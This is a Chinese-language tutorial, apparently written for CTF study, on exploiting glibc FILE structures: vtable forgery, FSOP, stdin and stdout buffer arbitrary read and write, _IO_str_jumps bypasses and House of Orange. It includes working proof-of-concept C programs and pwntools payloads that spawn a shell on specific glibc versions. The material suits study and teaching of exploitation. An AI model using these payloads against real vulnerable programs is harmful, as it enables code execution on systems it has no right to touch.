FILE 结构 IO FILE 定义的各种主要结构关系如下图所示。
各种文件结构采用单链表的形式连接起来,通过 _IO_list_all
访问。
vatble
为函数指针结构体,存放着各种 IO 相关的函数的指针。
初始情况下 _IO_FILE
结构有 _IO_2_1_stderr_
,_IO_2_1_stdout_
,_IO_2_1_stdin_
三个,通过 _IO_list_all
将这三个结构。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 # define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \ static _IO_lock_t _IO_stdfile_##FD##_lock = _IO_lock_initializer; \ static struct _IO_wide_data _IO_wide_data_##FD \ = { ._wide_vtable = &_IO_wfile_jumps }; \ struct _IO_FILE_plus NAME \ = {FILEBUF_LITERAL(CHAIN, FLAGS, FD, &_IO_wide_data_##FD), \ &_IO_file_jumps} DEF_STDFILE(_IO_2_1_stdin_, 0 , 0 , _IO_NO_WRITES); DEF_STDFILE(_IO_2_1_stdout_, 1 , &_IO_2_1_stdin_, _IO_NO_READS); DEF_STDFILE(_IO_2_1_stderr_, 2 , &_IO_2_1_stdout_, _IO_NO_READS+_IO_UNBUFFERED); struct _IO_FILE_plus *_IO_list_all = &_IO_2_1_stderr_;libc_hidden_data_def (_IO_list_all)
并且存在 3 个全局指针 stdin
,stdout
,stderr
分别指向 _IO_2_1_stdin_
,_IO_2_1_stdout_
,_IO_2_1_stderr_
三个结构体。
1 2 3 FILE *stdin = (FILE *) &_IO_2_1_stdin_; FILE *stdout = (FILE *) &_IO_2_1_stdout_; FILE *stderr = (FILE *) &_IO_2_1_stderr_;
因此上述结构的关系如下:
果有文件读写操作则会为对应文件创建一个 _IO_FILE
结构体,并且链接到 _IO_list_all
链表上。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 void _IO_link_in (struct _IO_FILE_plus *fp) { if ((fp->file._flags & _IO_LINKED) == 0 ) { fp->file._flags |= _IO_LINKED; #ifdef _IO_MTSAFE_IO _IO_cleanup_region_start_noarg (flush_cleanup); _IO_lock_lock (list_all_lock); run_fp = (FILE *) fp; _IO_flockfile ((FILE *) fp); #endif fp->file._chain = (FILE *) _IO_list_all; _IO_list_all = fp; #ifdef _IO_MTSAFE_IO _IO_funlockfile ((FILE *) fp); run_fp = NULL ; _IO_lock_unlock (list_all_lock); _IO_cleanup_region_end (0 ); #endif } }
fopen 关键流程大致如下,具体看源码。
fread 关键流程大致如下,具体看源码。
缓冲区如下:
fwrite 关键流程大致如下,具体看源码。 缓冲区如下:
fclose 关键流程大致如下,具体看源码。
利用 _fileno 字段泄露数据 _fileno
的值就是文件描述符,位于 stdin 文件结构开头 0x70 偏移处,比如: stderr 的 fileno
值为2,stdout 的 fileno
值为 1 。在漏洞利用中可以通过修改 stdin
的 _fileno
值来重定位需要读取的文件,本来为 0 的话表示从标准输入中读取,修改为 4 则表示为从文件描述符为 4 的文件中读取,这里利用这个点可以直接读取 flag 。
伪造 vtable 劫持程序流程 vtable
劫持分为两种,一种是直接改写 vtable
中的函数指针,通过任意地址写就可以实现。另一种是覆盖 vtable
的指针指向我们控制的内存,然后在其中布置函数指针。由于 vtable
一般都不可修改,所以第一种方式不太常见。注意: vtable
是否可写跟 libc 有关,而且有的高版本 libc 反而可写,比如下面这个 glibc-2.34。 在 libc2.24 版本之前由于没有 _IO_vtable_check
检查 vtable
地址,因此可以通过伪造 vtable
来调用所需函数 。
IO 调用的 vtable 函数:
fopen
函数是在分配空间,建立 FILE
结构体,未调用 vtable
中的函数。
fread
函数中调用的 vtable
函数有:
_IO_sgetn
函数调用了 vtable
的 _IO_file_xsgetn
。
_IO_doallocbuf
函数调用了 vtable
的 _IO_file_doallocate
以初始化输入缓冲区。
vtable
中的 _IO_file_doallocate
调用了 vtable
中的 __GI__IO_file_stat
以获取文件信息。
__underflow
函数调用了 vtable
中的 _IO_new_file_underflow
实现文件数据读取。
vtable
中的 _IO_new_file_underflow
调用了 vtable__GI__IO_file_read
最终去执行系统调用read
。
fwrite
函数调用的 vtable
函数有:
_IO_fwrite
函数调用了 vtable
的 _IO_new_file_xsputn
。
_IO_new_file_xsputn
函数调用了 vtable
中的 _IO_new_file_overflow
实现缓冲区的建立以及刷新缓冲区。
vtable
中的 _IO_new_file_overflow
函数调用了 vtable
的 _IO_file_doallocate
以初始化输入缓冲区。
vtable
中的 _IO_file_doallocate
调用了 vtable
中的 __GI__IO_file_stat
以获取文件信息。
new_do_write
中的 _IO_SYSWRITE
调用了 vtable_IO_new_file_write
最终去执行系统调用write
。
fclose
函数调用的 vtable
函数有:
在清空缓冲区的 _IO_do_write
函数中会调用 vtable
中的函数。
关闭文件描述符 _IO_SYSCLOSE
函数为 vtable
中的 __close
函数。
_IO_FINISH
函数为 vtable
中的 __finish
函数。
下面举一个实际的例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #include <stdio.h> #include <stdlib.h> #include <string.h> typedef unsigned long long i64;typedef unsigned char i8;int main () { FILE *fp = fopen ("./123.txt" , "rw" ); i64 *fake_vtable = malloc (0x40 ); fake_vtable[7 ] = (i64) &system; i64 *vtable_addr = (i64 *) ((i8 *) fp + 0xD8 ); *vtable_addr = (i64) fake_vtable; memcpy (fp, "sh" , 3 ); fwrite ("hi" , 2 , 1 , fp); return 0 ; }
使用的 libc 版本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11.3) stable release version 2.23, by Roland McGrath et al. Copyright (C) 2016 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Compiled by GNU CC version 5.4.0 20160609. Available extensions: crypt add-on version 2.1 by Michael Glad and others GNU Libidn by Simon Josefsson Native POSIX Threads Library by Ulrich Drepper et al BIND-8.2.3-T5B libc ABIs: UNIQUE IFUNC For bug reporting instructions, please see: <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
此版本 libc 没有 _IO_vtable_check
检查,因此可以随意伪造 vtable
。 在执行 fwrite
时会调用 vtable
中的 _IO_new_file_xsputn
,参数为对应的 _IO_FILE_plus
,因此在伪造的 vtable
对应位置上写入 system
地址,并在 _IO_FILE_plus
所在地址写入 sh\x00
,然后调用 fwrite
即可得到 shell 。 例题:2018 HCTF the_end
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 void __fastcall __noreturn main (int a1, char **a2, char **a3) { int i; void *buf; sleep (0 ); printf ("here is a gift %p, good luck ;)\n" , &sleep); fflush (_bss_start); close (1 ); close (2 ); for ( i = 0 ; i <= 4 ; ++i ) { read (0 , &buf, 8uLL ); read (0 , buf, 1uLL ); } exit (1337 ); }
分析程序,发现可以获取 libc 基地址,然后有 5 次 1 字节的任意地址写。exit
函数会执行 _IO_cleanup
函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int _IO_cleanup (void ) { int result = _IO_flush_all_lockp (0 ); _IO_unbuffer_all (); return result; }
其中 _IO_flush_all_lockp
函数如果缓冲区有数据没有输出会执行 _IO_overflow
,_IO_unbuffer_all
函数会执行 _IO_setbuf
。 这里调试发现只执行后者,因此可以在 _IO_2_1_stderr_
中伪造 vtable
使得 _IO_setbuf
位置恰好为某个指向 libc 附近的指针。然后再修改 FILE
使得 *vtable
指向伪造的 vtable
。最后 exit
得到 shell 。
FSOP FSOP 的核心思想就是劫持 _IO_list_all
指向伪造的 _IO_FILE_plus
。之后使程序执行 _IO_flush_all_lockp
函数。该函数会刷新 _IO_list_all
链表中所有项的文件流,相当于对每个 FILE
调用 fflush
,也对应着会调用 _IO_FILE_plus.vtable
中的 _IO_overflow
。
在利用时要注意以下几点:
程序执行 _IO_flush_all_lockp
函数有三种情况:
当 libc
执行 abort
流程时
当执行 exit
函数时
当执行流从 main
函数返回时
伪造的 _IO_FILE_plus
中的 FILE
需要绕过如下检查:
1 2 3 if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)) && _IO_OVERFLOW(fp, EOF) == EOF) { result = EOF; }
由于 vtable
伪造的位置绕不过 _IO_vtable_check
的检查,因此仅适应于 libc2.24 版本以下。
下面举一个 FSOP 的实际例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #include <stdio.h> #include <stdlib.h> typedef unsigned long long i64;int main () { i64 libc_base = (i64) &puts - 0x6F5D0 ; i64 *ptr = malloc (0x200 ); ptr[24 ] = 0x0 ; ptr[5 ] = 0x1 ; ptr[4 ] = 0x0 ; ptr[27 ] = (i64) &ptr[32 ]; ptr[32 + 3 ] = libc_base + 0x4525A ; i64 *list_all_ptr = (i64 *) (libc_base + 0x3C4520 ); list_all_ptr[0 ] = (i64) ptr; exit (0 ); }
使用的 libc 版本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 GNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version 2.23, by Roland McGrath et al. Copyright (C) 2016 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Compiled by GNU CC version 5.3.1 20160413. Available extensions: crypt add-on version 2.1 by Michael Glad and others GNU Libidn by Simon Josefsson Native POSIX Threads Library by Ulrich Drepper et al BIND-8.2.3-T5B libc ABIs: UNIQUE IFUNC For bug reporting instructions, please see: <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
上述程序利用过程如下图 最后 exit(0)
进行如下函数调用: 程序执行效果:
缓冲区的相关利用 stdin 标准输入缓冲区进行任意地址写 根据前面对 fread
的分析已经知道通过缓冲区进行输入的大致流程,但要实现任意地址写还要绕过其中具体的检查。
_IO_file_xsgetn
fp->_IO_buf_base
为空时会执行 _IO_doallocbuf(fp)
初始化缓冲区,因此 fp->_IO_buf_base
不能为空。
1 2 3 4 5 6 7 8 if (fp->_IO_buf_base == NULL ) { if (fp->_IO_save_base != NULL ) { free (fp->_IO_save_base); fp->_flags &= ~_IO_IN_BACKUP; } _IO_doallocbuf(fp); }
如果 fp->_IO_read_end
> fp->_IO_read_ptr
会将缓冲区中对应的数据复制到目标地址中,为了避免因为这个出现不必要的问题,最好令 fp->_IO_read_end
= fp->_IO_read_ptr
。
1 2 3 4 5 6 7 have = fp->_IO_read_end - fp->_IO_read_ptr; ... if (have > 0 ) { s = __mempcpy(s, fp->_IO_read_ptr, have); want -= have; fp->_IO_read_ptr += have; }
如果需要读入的数据长度如果大于缓冲区大小会采用直接读入的方式,因此不能使读入的数据长度大于缓冲区大小。
1 2 3 4 5 if (fp->_IO_buf_base && want < (size_t ) (fp->_IO_buf_end - fp->_IO_buf_base)) { if (__underflow(fp) == EOF) break ; continue ; }
_IO_new_file_underflow
_flags
的 _IO_NO_READS
标志为不能为 1 。标志的定义是 #define _IO_NO_READS 4
。
1 2 3 4 5 if (fp->_flags & _IO_NO_READS) { fp->_flags |= _IO_ERR_SEEN; __set_errno(EBADF); return EOF; }
最终系统调用 _IO_SYSREAD (fp, fp->_IO_buf_base,fp->_IO_buf_end - fp->_IO_buf_base)
读取数据,因此要想利用stdin输入缓冲区需设置 FILE
结构体中 _IO_buf_base
为write_start
,_IO_buf_end
为 write_end
。同时也需将结构体中的 fp->_fileno
设置为 0 ,最终调用 read (fp->_fileno, buf, size))
读取数据。
1 count = _IO_SYSREAD(fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base);
将上述条件综合表述为:
设置 _IO_read_end
等于 _IO_read_ptr
。
设置 _flag
&~ _IO_NO_READS
即 _flag
&~ 0x4。
设置 _fileno
为 0 ,表示读入数据的来源是 stdin
。
设置 _IO_buf_base
为 write_start
,_IO_buf_end
为 write_end
;且使得 _IO_buf_end
- _IO_buf_base
大于 fread
要读的数据。
举例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 #include <stdio.h> typedef unsigned long long i64;char buf[100 ];int main () { char stack_buf[100 ]; FILE *fp = fopen ("123.txt" , "rw" ); fp->_IO_read_end = fp->_IO_read_ptr = 0x0 ; fp->_flags &= ~0x4 ; fp->_fileno = 0x0 ; fp->_IO_buf_base = (char *) buf; fp->_IO_buf_end = (char *) &buf[99 ]; fread (stack_buf, 1 , 3 , fp); printf ("buf: %s\n" , buf); printf ("stack_buf: %s\n" , stack_buf); return 0 ; }
libc 采用如下版本:
1 2 3 4 5 6 7 8 9 GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.8) stable release version 2.31. Copyright (C) 2020 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Compiled by GNU CC version 9.4.0. libc ABIs: UNIQUE IFUNC ABSOLUTE For bug reporting instructions, please see: <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
运行结果:
1 2 3 4 aaaaaaaaaaaaaaaaaaa buf: aaaaaaaaaaaaaaaaaaa stack_buf: aaa
stdout 标准输入缓冲区进行任意地址读写 stdout
可以把某地址数据复制到缓冲区,然后输出出来。如果可控 stdout
结构体,通过构造可实现利用其进行任意地址读以及任意地址写。
任意地址写 _IO_new_file_xsputn
函数中有如下操作:
1 2 3 4 5 6 7 8 9 else if (f->_IO_write_end > f->_IO_write_ptr) count = f->_IO_write_end - f->_IO_write_ptr; if (count > 0 ) { if (count > to_do)count = to_do; f->_IO_write_ptr = __mempcpy(f->_IO_write_ptr, s, count); s += count; to_do -= count; }
即当输出缓冲区不满的时候,就将待输出数据复制到输出缓冲区。因此只要将_IO_write_ptr
指向 write_start
,_IO_write_end
指向 write_end
即可实现在目标地址写入数据。 举例(libc 版本同上):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #include <stdio.h> typedef unsigned long long i64;char buf[] = "123456" ;int main () { char stack_buf[] = "abcdefghi" ; i64 libc_base = (i64) &puts - 0x84420 ; FILE *fp = (FILE *) (libc_base + 0x1ed6a0 ); fp->_IO_write_ptr = (char *) &buf[0 ]; fp->_IO_write_end = (char *) &buf[4 ]; puts (stack_buf); printf ("buf: %s\n" , buf); return 0 ; }
运行结果:
其中复制到 buf
中的数据没有输出的原因是 _IO_overflow
函数没有正常执行,接下来任意地址读会有更多分析。
任意地址读 程序正确执行到 _IO_overflow
时会将输出缓冲区中的数据输出出来,只要将要泄露的位置设置为输出缓冲区就可以泄露内容。但还要绕过一系列检查:
将上述条件综合描述为:
设置 _flag
&~ _IO_NO_WRITES
即 _flag
&~ 0x8。
设置 _flag
& _IO_CURRENTLY_PUTTING
即 _flag
| 0x800
设置 _fileno
为1。
设置 _IO_write_base
指向想要泄露的地方;_IO_write_ptr
指向泄露结束的地址。
设置 _IO_read_end
等于 _IO_write_base
或设置 _flag
& _IO_IS_APPENDING
即 _flag
| 0x1000。
设置 _IO_write_end
等于 _IO_write_ptr
(非必须)。
满足上述五个条件,可实现任意读。 举例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #include <stdio.h> typedef unsigned long long i64;char buf[] = "123456" ;int main () { char stack_buf[] = "abcdefghi" ; i64 libc_base = (i64) &puts - 0x84420 ; FILE *fp = (FILE *) (libc_base + 0x1ed6a0 ); fp->_flags &= ~0x8 ; fp->_flags |= 0x800 ; fp->_fileno = 1 ; fp->_IO_write_base = (char *) buf; fp->_IO_write_ptr = (char *) &buf[6 ]; fp->_IO_read_end = fp->_IO_write_base; puts (stack_buf); return 0 ; }
运行结果:
__IO_str_jumps libc2.24 在 IO_validate_vtable
函数中对 *vtable
指针进行校验:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 static inline const struct _IO_jump_t *IO_validate_vtable (const struct _IO_jump_t *vtable){ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) _IO_vtable_check (); return vtable; }
vtable
必须要满足 在 __stop___IO_vtables
和 __start___libc_IO_vtables
之间,而我们伪造的vtable通常不满足这个条件。 但是 _IO_str_jumps
与 __IO_wstr_jumps
就位于 __stop___libc_IO_vtables
和 __start___libc_IO_vtables
之间,所以我们是可以利用他们来通过 IO_validate_vtable
的检测的,只需要将 *vtable
填成 _IO_str_jumps
或 __IO_wstr_jumps
地址即可。 利用方式主要有针对 __IO_str_jumps
中的 _IO_str_finsh
函数和 _IO_str_overflow
两种。
确定 __IO_str_jumps 地址 由于 _IO_str_jumps
不是导出符号,libc.sym["_IO_str_jumps"]
查不到,我们可以利用 _IO_str_jumps
中的导出函数例如 _IO_str_underflow
进行辅助定位。首先先得到 _IO_str_underflow
地址,然后查找所有指向该地址的指针。由于 _IO_str_underflow
在 _IO_str_jumps
的偏移为 0x20 ,并且 _IO_str_jumps
的地址大于 _IO_file_jumps
地址,因此可以在选择满足上述条件中最小的地址作为 _IO_str_jumps
的地址。
1 2 3 4 5 6 7 from bisect import *IO_file_jumps = libc.symbols['_IO_file_jumps' ] IO_str_underflow = libc.symbols['_IO_str_underflow' ] IO_str_underflow_ptr = list (libc.search(p64(IO_str_underflow))) IO_str_jumps = IO_str_underflow_ptr[bisect_left(IO_str_underflow_ptr, IO_file_jumps + 0x20 )] - 0x20 print hex (IO_str_jumps)
io_str_finish libc 直到 2.27 版本(有些版本的 2.27 已经修复),_IO_str_finish
都是下面这种实现手段。也就是说,如果修改 ((_IO_strfile *) fp)->_s._free_buffer
为 system
地址,然后修改 fp->_IO_buf_base
为 /bin/sh
字符串地址,然后触发程序执行 _IO_str_finish
函数就可以得到 shell 。
1 2 3 4 5 6 7 8 9 void _IO_str_finish (_IO_FILE *fp, int dummy) { if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); fp->_IO_buf_base = NULL ; _IO_default_finish (fp, 0 ); }
具体的攻击流程如下:
修改 vatble
指针 根据前面 FSOP 的思路,可以通过使程序执行 _IO_flush_all_lockp
函数,进而执行 _IO_overflow
。此时如果将 vatble
指针修改为指向 &_IO_str_jumps - 8
的地址就可以执行 _IO_str_finish
。
伪造 _IO_FILE
与 FSOP 基本一致。
要满足 fp->_IO_buf_base
不为空,并且由于它作为 fp->_s._free_buffer
的第一个参数,因此可以使用 /bin/sh
的地址。
fp->_flags
要不包含 _IO_USER_BUF
,它的定义为 #define _IO_USER_BUF 1
,即 fp->_flags
最低位为 0
。
缓冲区需要有数据,即 _IO_write_base
< _IO_write_ptr
。
_mode
需要小于等于 0 。
修改 ((_IO_strfile *) fp)->_s._free_buffer
为 system
地址,即将 fp+0xE8
除的值改为 system
地址。
最后通过 exit
等手段使程序执行 _IO_flush_all_lockp
函数,最终得到 shell 。
下面举一个实际例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #include <stdio.h> #include <stdlib.h> typedef unsigned long long i64;typedef unsigned char i8;int main () { FILE *fp = fopen ("./123.txt" , "rw" ); i64 libc_base = (i64) &system - 0x4F440 ; i64 bin_sh_addr = libc_base + 0x1B3E9A ; i64 IO_str_jump_addr = libc_base + 0x3E8360 ; i64 fake_IO_file_jump_addr = IO_str_jump_addr - 0x8 ; *(i64 *) fp &= ~1ULL ; *(i64 *) ((i8 *) fp + 0xE8 ) = (i64) &system; *(i64 *) ((i8 *) fp + 0xD8 ) = fake_IO_file_jump_addr; *((i64 *) fp + 24 ) = 0x0 ; *((i64 *) fp + 4 ) = 0x0 ; *((i64 *) fp + 5 ) = 0x1 ; *((i64 *) fp + 7 ) = bin_sh_addr; exit (0 ); }
libc 版本为:
1 2 3 4 5 6 7 8 9 GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27. Copyright (C) 2018 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Compiled by GNU CC version 7.3.0. libc ABIs: UNIQUE IFUNC For bug reporting instructions, please see: <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
运行结果:
与堆利用结合 泄露 libc 基址 对于没有输出功能的堆题,要想泄露 libc 基址就需要劫持 _IO_2_1_stdout_
结构体。 以这道题目 为例,因为是 libc-2.23 版本,可以利用 fast bin attack 在 _IO_2_1_stdout_-0x43
处申请 fast bin。 之后修改 _IO_write_base
指针的最低 1 字节为 \x88
使其指向 _chain
变量,而 _chain
变量中存储了 _IO_2_1_stdin_
结构体地址,程序在下一次输出内容时会先将 write buf 中的内容输出出来,因此可以泄露 libc 基地址。
1 add(0x60 , '\x00' * 0x33 + p32(0xfbad1880 ) + ";sh;" + p64(0 ) * 3 + p8(0x88 ))
伪造 vtable 劫持程序流程 同样以前面这道题目 为例,首先利用 fast bin attack 在 _IO_2_1_stdout_+157
地址处申请 0x60 大小的堆块。 由于 libc-2.23 版本没有 _IO_vtable_check
检查 vtable
地址,因此可以修改 vtable
指针指向事先在 bss 段伪造的 vtable
。在调用 IO 函数时会将 _IO_2_1_stdout_
结构体指针作为参数传入 vtable
中的函数,因此可以在 _IO_2_1_stdout_
结构体 flag 字段之后的 4 字节填充中写入 ;sh;
来获取 shell 。
FSOP FSOP( File Stream Oriented Programming ) 的核心思想就是劫持 _IO_list_all
指向伪造的 _IO_FILE_plus
。之后使程序执行 _IO_flush_all_lockp
函数。该函数会刷新 _IO_list_all
链表中所有项的文件流,相当于对每个 FILE 调用 fflush
,也对应着会调用 _IO_FILE_plus.vtable
中的 _IO_overflow
。
劫持 _IO_list_all
的方式有两种:
覆盖 _IO_2_1_stderr_
结构体,也就是下面这个例子
利用例如 large bin attack 的攻击方法将 _IO_list_all
覆盖成一个 chunk 地址,然后在该 chunk 上伪造 IO_FILE 结构体。例如后面 House of Pig 就采用了这个方法。
以这道题目 为例,需要通过任意地址写修改 _IO_2_1_stderr
结构体然后 exit 调用 _IO_flush_all_lockp
从而实现 FSOP 。
在劫持 _IO_2_1_stderr
时除了修改 vtable
指针指向伪造 vtable
外,要想调用 _IO_overflow
,还需要修改 _IO_2_1_stderr
以满足以下条件:
fp->_mode <= 0
fp->_IO_write_ptr > fp->_IO_write_base
因此不妨将 vtable 伪造在 _IO_2_1_stderr + 0x10
处使 _IO_2_1_stderr
的 fp->_IO_write_ptr
恰好对应于 vtable
的 _IO_overflow
。然后将 fp->_IO_write_ptr
写入 system
函数地址。由于 _IO_overflow
传入的参数为 _IO_2_1_stderr
结构体,因此将结构体其实位置处写入 /bin/sh
字符串。 IO_FILE 的伪造对应与代码中可以有如下定义:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 fake_file = b"" fake_file += b"/bin/sh\x00" fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(libc.sym['system' ]) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0 ) * 4 fake_file += p64(libc.sym['_IO_2_1_stdout_' ]) fake_file += p32(2 ) fake_file += p32(0 ) fake_file += p64(0xFFFFFFFFFFFFFFFF ) fake_file += p16(0 ) fake_file += b"\x00" fake_file += b"\n" fake_file += p32(0 ) fake_file += p64(libc.sym['_IO_2_1_stdout_' ] + 0x1ea0 ) fake_file += p64(0xFFFFFFFFFFFFFFFF ) fake_file += p64(0 ) fake_file += p64(libc.sym['_IO_2_1_stdout_' ] - 0x160 ) fake_file += p64(0 ) * 3 fake_file += p32(0xFFFFFFFF ) fake_file += b"\x00" * 19 fake_file = fake_file.ljust(0xD8 , b'\x00' ) fake_file += p64(libc.sym['_IO_2_1_stderr_' ] + 0x10 )
House of Orange house of orange 利用手法有两部分,前半部分是无 free 的情况下得到位于 unsorted bin 的 chunk ,后半部分是利用 unsorted bin attack 劫持 _IO_list_all
实现 FSOP 。
首先是第一部分。如果当前堆的 top chunk 尺寸不足以满足申请分配的大小的时候,原来的 top chunk 会被释放并被置入 unsorted bin 中,通过这一点可以在没有 free 函数情况下获取到 unsorted bins。
但是执行 sysmalloc 来向系统申请内存有 mmap 和 brk 两种分配方式,我们需要让堆以 brk 的形式拓展,之后原有的 top chunk 会被置于 unsorted bin 中。这需要 malloc 的尺寸不能大于mmp_.mmap_threshold
1 if ((unsigned long )(nb) >= (unsigned long )(mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max))
如果所需分配的 chunk 大小大于 mmap 分配阈值,默认为 128K,并且当前进程使用 mmap() 分配的内存块小于设定的最大值,将使用 mmap() 系统调用直接向操作系统申请内存。
在 sysmalloc 函数中存在对 top chunk size 的 check 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 old_top = av->top; old_size = chunksize (old_top); old_end = (char *) (chunk_at_offset (old_top, old_size)); ... assert ((old_top == initial_top (av) && old_size == 0 ) || ((unsigned long ) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long ) old_end & (pagesize - 1 )) == 0 )); assert ((unsigned long ) (old_size) < (unsigned long ) (nb + MINSIZE));
通过上述检查后会进行 brk 系统调用来扩展 heap 段。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 size = nb + mp_.top_pad + MINSIZE; if (contiguous (av)) size -= old_size; size = ALIGN_UP (size, pagesize); if (size > 0 ) { brk = (char *) (MORECORE (size)); LIBC_PROBE (memory_sbrk_more, 2 , brk, size); } if (brk != (char *) (MORECORE_FAILURE)) { void (*hook) (void ) = atomic_forced_read (__after_morecore_hook); if (__builtin_expect (hook != NULL , 0 )) (*hook)(); }
此时堆的状态如下: 如果是正常通过 brk 系统调用扩展 heap 区域,最终程序将直接增大 top chunk 的 size,但是由于之前已经将 top chunk 的 size 改小了,通不过下面的 if 判断。
1 2 if (brk == old_end && snd_brk == (char *) (MORECORE_FAILURE)) set_head (old_top, (size + old_size) | PREV_INUSE);
并且会通过接下来的检查:
1 2 3 4 5 6 else if (contiguous (av) && old_size && brk < old_end) { malloc_printerr (3 , "break adjusted to free malloc space" , brk, av); }
此时 ptmalloc 认为 heap 段已经不连续,ptmalloc 会为新的 heap 段的 top chunk 通过 brk 扩展 heap 区域,然后释放掉原先的 top chunk 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 else { front_misalign = 0 ; end_misalign = 0 ; correction = 0 ; aligned_brk = brk; if (contiguous(av)) { if (old_size) av->system_mem += brk - old_end; front_misalign = (INTERNAL_SIZE_T) chunk2mem(brk) & MALLOC_ALIGN_MASK; if (front_misalign > 0 ) { correction = MALLOC_ALIGNMENT - front_misalign; aligned_brk += correction; } correction += old_size; end_misalign = (INTERNAL_SIZE_T) (brk + size + correction); correction += (ALIGN_UP(end_misalign, pagesize)) - end_misalign; assert(correction >= 0 ); snd_brk = (char *) (MORECORE(correction)); if (snd_brk == (char *) (MORECORE_FAILURE)) { correction = 0 ; snd_brk = (char *) (MORECORE(0 )); } else { void (*hook)(void ) = atomic_forced_read(__after_morecore_hook); if (__builtin_expect(hook != NULL , 0 )) (*hook)(); } } else { if (MALLOC_ALIGNMENT == 2 * SIZE_SZ) assert(((unsigned long ) chunk2mem(brk) & MALLOC_ALIGN_MASK) == 0 ); else { front_misalign = (INTERNAL_SIZE_T) chunk2mem(brk) & MALLOC_ALIGN_MASK; if (front_misalign > 0 ) { aligned_brk += MALLOC_ALIGNMENT - front_misalign; } } if (snd_brk == (char *) (MORECORE_FAILURE)) { snd_brk = (char *) (MORECORE(0 )); } } if (snd_brk != (char *) (MORECORE_FAILURE)) { av->top = (mchunkptr) aligned_brk; set_head(av->top, (snd_brk - aligned_brk + correction) | PREV_INUSE); av->system_mem += correction; if (old_size != 0 ) { old_size = (old_size - 4 * SIZE_SZ) & ~MALLOC_ALIGN_MASK; set_head(old_top, old_size | PREV_INUSE); chunk_at_offset(old_top, old_size)->size = (2 * SIZE_SZ) | PREV_INUSE; chunk_at_offset(old_top, old_size + 2 * SIZE_SZ)->size = (2 * SIZE_SZ) | PREV_INUSE; if (old_size >= MINSIZE) { _int_free(av, old_top, 1 ); } } } }
之后是第二部分。首先修改 unsorted chunk 的 size 为 0x61,并且 bk 字段 指向 `_IO_list_all - 0x10` ,同时在 chunk 中伪造 IO_FILE 结构体。
之后申请一个大小不等于 0x60 的 chunk 。
程序首先会在 unsorted bin 中寻找合适的 chunk 。由于 bk 已被修改,不满足 bck == unsorted_chunks (av)
,因此不会从该 chunk 中切下合适的 chunk 然后返回。
1 2 3 4 5 6 7 8 9 while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) { size = chunksize (victim); ... bck = victim->bk; if (in_smallbin_range (nb) && bck == unsorted_chunks (av) && victim == av->last_remainder && (unsigned long ) (size) > (unsigned long ) (nb + MINSIZE))
之后将该 chunk 从 unsorted bin 中取出,从而完成一次 unsorted bin attack 。由于已经保证申请的 chunk 大小与该 chunk 大小不同,因此不会直接将该 chunk 返回,而是直接放到 small bin 中。
